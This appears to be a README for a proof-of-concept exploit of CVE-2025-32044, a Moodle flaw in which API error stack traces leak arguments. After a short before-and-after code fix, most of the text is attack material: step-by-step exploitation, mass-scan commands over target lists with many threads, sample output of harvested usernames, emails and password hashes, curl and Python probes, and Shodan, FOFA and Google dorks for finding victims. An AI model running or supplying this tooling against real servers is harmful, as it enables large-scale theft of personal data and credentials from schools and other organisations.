CVE-2025-32044

// lib/classes/router/response/exception_response.php (BEFORE fix)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← includes 'args'!
    ];
    return $data;
}

// lib/classes/router/response/exception_response.php (AFTER fix)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

ini_set('zend.exception_ignore_args', '1');

1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
   (e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes

git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

# Single target scan
python cve_2025_32044.py -t moodle.target.com

# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save leaked user data to file
  --threads         Concurrent workers (default: 30)
  --timeout         Request timeout in seconds (default: 10)
  --debug           Show every HTTP request
  -v, --verbose     Verbose output

$ python cve_2025_32044.py -t moodle-target.com

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : YES v4.5.1
  WS Enabled : YES
  Token      : obtained (admin)

  ═══ DATA LEAKED ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  Emails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Time       : 3.2s

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Targets: 500  |  Threads: 30  |  Mode: QUIET

  [LEAK] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5

# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled

curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'

curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable

import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"